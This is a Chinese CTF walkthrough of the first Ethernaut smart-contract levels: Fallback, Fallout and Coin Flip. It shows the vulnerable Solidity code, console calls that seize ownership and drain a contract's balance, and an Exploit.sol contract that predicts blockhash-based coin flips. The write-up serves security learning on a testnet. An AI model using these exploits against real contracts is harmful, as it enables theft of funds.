Ethernaut闯关录(上))

文章前言

Ethernaut(https://ethernaut.zeppelin.solutions/)是一个类似于CTF的智能合约平台,集成了不少的智能合约相关的安全问题,这对于安全审计人员来说是一个很不错的学习平台,本篇文章将通过该平台来学习智能合约相关的各种安全问题。

环境准备

  • Chrome浏览器

  • 插件——以太坊轻钱包MetaMask(https://metamask.io/)

  • 在MetaMask中调整网络为测试网络,之后给自己的钱包地址充值ETH。

前置知识

浏览器控制台

在整个Ethernaut平台的练习中我们需要通过Chrome浏览器的控制台来输入一系列的命令实现与合约的交互,在这里我们可以直接在Chrome浏览器中按下F12,之后选择Console模块打开浏览器控制台,并查看相关信息:

具体的交互视情况而定,例如:

当控制台中输入\\”player\\”时就看到玩家的地址信息(此时需实现Ethernaut与MetaMask的互动):

Ethernaut闯关录(上))

当输入getBlance(player)当前玩家的eth余额

Ethernaut闯关录(上))

如果要查看控制台中的其他实用功能可以输入\\”help\\”进行查看~

以太坊合约

在控制台中输入\\”Ethernaut\\”即可查看当前以太坊合约所有可用函数:

Ethernaut闯关录(上))

通过加\\”.\\”可以实现对各个函数的引用(这里也可以把ethernaut当作一个对象实例):

Ethernaut闯关录(上))

获取关卡示例

我们可以通过点击“Get new instance”来获取关卡示例:

Ethernaut闯关录(上))

过关斩将

Hello Ethernaut

Hello Ethernaut这一关的目的是让玩家熟悉靶场操作(控制台的交互、MetaMask的交互等),因此依次按照提示一步一步做就可以完成了~

首先点击\\”Get new instance\\”来获取关卡示例:

Ethernaut闯关录(上))

之后交易确认后返回一个交互合约地址:

Ethernaut闯关录(上))

之后在控制台中根据提示输入以下指令:

await contract.info()\\\"You will find what you need in info1().\\\"
await contract.info1()\\\"Try info2(), but with \\\"hello\\\" as a parameter.\\\"
await contract.info2(\\\"hello\\\")\\\"The property infoNum holds the number of the next info method to call.\\\"
await contract.infoNum()42
await contract.info42()\\\"theMethodName is the name of the next method.\\\"
await contract.theMethodName()\\\"The method name is method7123949.\\\"
await contract.method7123949()\\\"If you know the password, submit it to authenticate().\\\"
await contract.password()\\\"ethernaut0\\\"
await contract.authenticate(\\\"ethernaut0\\\")

Ethernaut闯关录(上))

之后等合约交互完成后直接点击\\”submit instance\\”提交答案,并获取当前关卡的源代码:

Ethernaut闯关录(上))

Ethernaut闯关录(上))

之后等交易完成后给出完成关卡的提示:

Ethernaut闯关录(上))

并在下方给出源代码:

pragma solidity ^0.4.18;
contract Instance {
string public password; uint8 public infoNum = 42; string public theMethodName = \\\'The method name is method7123949.\\\'; bool private cleared = false;
// constructor function Instance(string _password) public { password = _password; }
function info() public pure returns (string) { return \\\'You will find what you need in info1().\\\'; }
function info1() public pure returns (string) { return \\\'Try info2(), but with \\\"hello\\\" as a parameter.\\\'; }
function info2(string param) public pure returns (string) { if(keccak256(param) == keccak256(\\\'hello\\\')) { return \\\'The property infoNum holds the number of the next info method to call.\\\'; } return \\\'Wrong parameter.\\\'; }
function info42() public pure returns (string) { return \\\'theMethodName is the name of the next method.\\\'; }
function method7123949() public pure returns (string) { return \\\'If you know the password, submit it to authenticate().\\\'; }
function authenticate(string passkey) public { if(keccak256(passkey) == keccak256(password)) { cleared = true; } }
function getCleared() public view returns (bool) { return cleared; }}

从源代码中可以看到该关卡其实是一系列的函数调用与传参操作,其实该关卡就是让玩家熟悉控制台和MetaMask的使用以及配合交互操作!

Fallback
闯关要求
  • 成为合约的owner 

  • 将余额减少为0

合约代码
pragma solidity ^0.4.18;
import \\\'zeppelin-solidity/contracts/ownership/Ownable.sol\\\';import \\\'openzeppelin-solidity/contracts/math/SafeMath.sol\\\';//合约Fallback继承自Ownablecontract Fallback is Ownable { using SafeMath for uint256; mapping(address => uint) public contributions;//通过构造函数初始化贡献者的值为1000ETH function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); }// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] = contributions[msg.sender].add(msg.value); if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }//获取请求者的贡献值 function getContribution() public view returns (uint) { return contributions[msg.sender]; }//取款函数,且使用onlyOwner修饰,只能被合约的owner调用 function withdraw() public onlyOwner { owner.transfer(this.balance); }//fallback函数,用于接收用户向合约发送的代币 function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0 owner = msg.sender; }}
合约分析

通过源代码我们可以了解到要想改变合约的owner可以通过两种方法实现:

1、贡献1000ETH成为合约的owner(虽然在测试网络中我们可以不断的申请测试eth,但由于每次贡献数量需要小于0.001,完成需要1000/0.001次,这显然很不现实~)

2、通过调用回退函数fallback()来实现

显然我们这里需要通过第二种方法来获取合约的owner,而触发fallback()函数也有下面两种方式:

1、没有其他函数与给定函数标识符匹配

2、合约接收没有数据的纯ether(例如:转账函数))

因此我们可以调用转账函数\\”await contract.sendTransaction({value:1})\\”或者使用matemask的转账功能(注意转账地址是合约地址也就是说instance的地址)来触发fallback()函数。

那么分析到这里我们从理论上就可以获取合约的owner了,那么我们如何转走合约中的eth呢?很明显,答案就是——调用withdraw()函数来实现。

攻击流程
    contract.contribute({value: 1}) //首先使贡献值大于0contract.sendTransaction({value: 1}) //触发fallback函数contract.withdraw() //将合约的balance清零

    首先点击\\”Get new instance\\”来获取一个实例:

    Ethernaut闯关录(上))

    之后开始交互,首先查看合约地址的资产总量,并向其转1wei

    Ethernaut闯关录(上))

    等交易完成后再次获取balance发现成功改变:

    Ethernaut闯关录(上))

    通过调用sendTransaction函数来触发fallback函数并获取合约的owner:

    Ethernaut闯关录(上))

    之后等交易完成后再次查看合约的owner,发现成功变为我们自己的地址:

    Ethernaut闯关录(上))

    之后调用withdraw来转走合约的所有代币

    Ethernaut闯关录(上))

    Ethernaut闯关录(上))

    之后点击\\”submit instance\\”即可完成闯关:

    Ethernaut闯关录(上))

    Ethernaut闯关录(上))

    Fallout
    闯关要求

    获取合约的owner权限

    合约代码
      pragma solidity ^0.4.18;
      import \\\'zeppelin-solidity/contracts/ownership/Ownable.sol\\\';import \\\'openzeppelin-solidity/contracts/math/SafeMath.sol\\\';
      contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations;
      /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; }
      function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); }
      function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); }
      function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); }
      function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; }}
      合约分析

      该关卡的要求是获取合约的owner,我们从上面的代码中可以看到没有类似于上一关的回退函数也没有相关的owner转换函数,但是我们在这里却发现一个致命的错误————构造函数名称与合约名称不一致使其成为一个public类型的函数,即任何人都可以调用,同时在构造函数中指定了函数调用者直接为合约的owner,所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。

      攻击流程

      直接调用构造函数Fal1out来获取合约的ower权限即可。

      点击“Get new instance”来获取示例:

      Ethernaut闯关录(上))

      之后查看当前合约的owner,并调用构造函数来跟换owner

      Ethernaut闯关录(上))

      等交易完成后,再次查看合约的owner发现已经发生变化了:

      Ethernaut闯关录(上))

      之后点击“submit instance”来提交答案即可:

      Ethernaut闯关录(上))

      Ethernaut闯关录(上))

      Coin Flip
      闯关要求

      这是一个掷硬币游戏,你需要通过猜测掷硬币的结果来建立你的连胜记录。要完成这个等级,你需要使用你的通灵能力来连续10次猜测正确的结果。

      合约代码
      pragma solidity ^0.4.18;
      import \\\'openzeppelin-solidity/contracts/math/SafeMath.sol\\\';
      contract CoinFlip {
      using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
      function CoinFlip() public { consecutiveWins = 0; }
      function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
      if (lastHash == blockValue) { revert(); }
      lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false;
      if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } }}

      合约分析

      在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,之后查看了一下发现是2^255。

      之后定义的CoinFlip为构造函数,在构造函数中将我们的猜对次数初始化为0。

      之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。

      之后就是产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。

      通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。因为块之间的间隔也只有10s左右,要手工在命令行下完成合约分析中操作还是有点困难,所以我们需要在链上另外部署一个合约来完成这个操作,在部署时可以直接使用http://remix.ethereum.org来部署

      Exploit.sol:

      pragma solidity ^0.4.18;contract CoinFlip {  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
      function CoinFlip() public { consecutiveWins = 0; }
      function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1));
      if (lastHash == blockValue) { revert(); }
      lastHash = blockValue; uint256 coinFlip = blockValue/FACTOR; bool side = coinFlip == 1 ? true : false;
      if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } }}
      contract exploit { CoinFlip expFlip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function exploit(address aimAddr) { expFlip = CoinFlip(aimAddr); } function hack() public { uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool guess = coinFlip == 1 ? true : false; expFlip.flip(guess); }}

      攻击流程

      点击“Get  new Instance”获取一个实例:

      Ethernaut闯关录(上))

      之后获取合约的地址以及\\”consecutiveWins\\”的值:

      Ethernaut闯关录(上))

      之后在remix中编译合约

      Ethernaut闯关录(上))

      之后在remix中部署“exploit”合约,这里需要使用上面获取到的合约地址:

      Ethernaut闯关录(上))

      之后合约成功部署:

      Ethernaut闯关录(上))

      之后点击\\”hack\\”实施攻击(至少需要调用10次):

      Ethernaut闯关录(上))

      之后再次查看“consecutiveWins”的值,直到大于10时提交即可:

      Ethernaut闯关录(上))

      Ethernaut闯关录(上))

      之后点击“submit instance”提交示例:

      之后成功闯关:

      后续关卡敬请期待中篇分解~

      原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34095.html

      (0)
      七芒星实验室's avatar七芒星实验室
      上一篇 2024年4月14日 上午11:47
      下一篇 2024年4月14日 上午11:49

      相关推荐

      发表回复

      您的邮箱地址不会被公开。 必填项已用 * 标注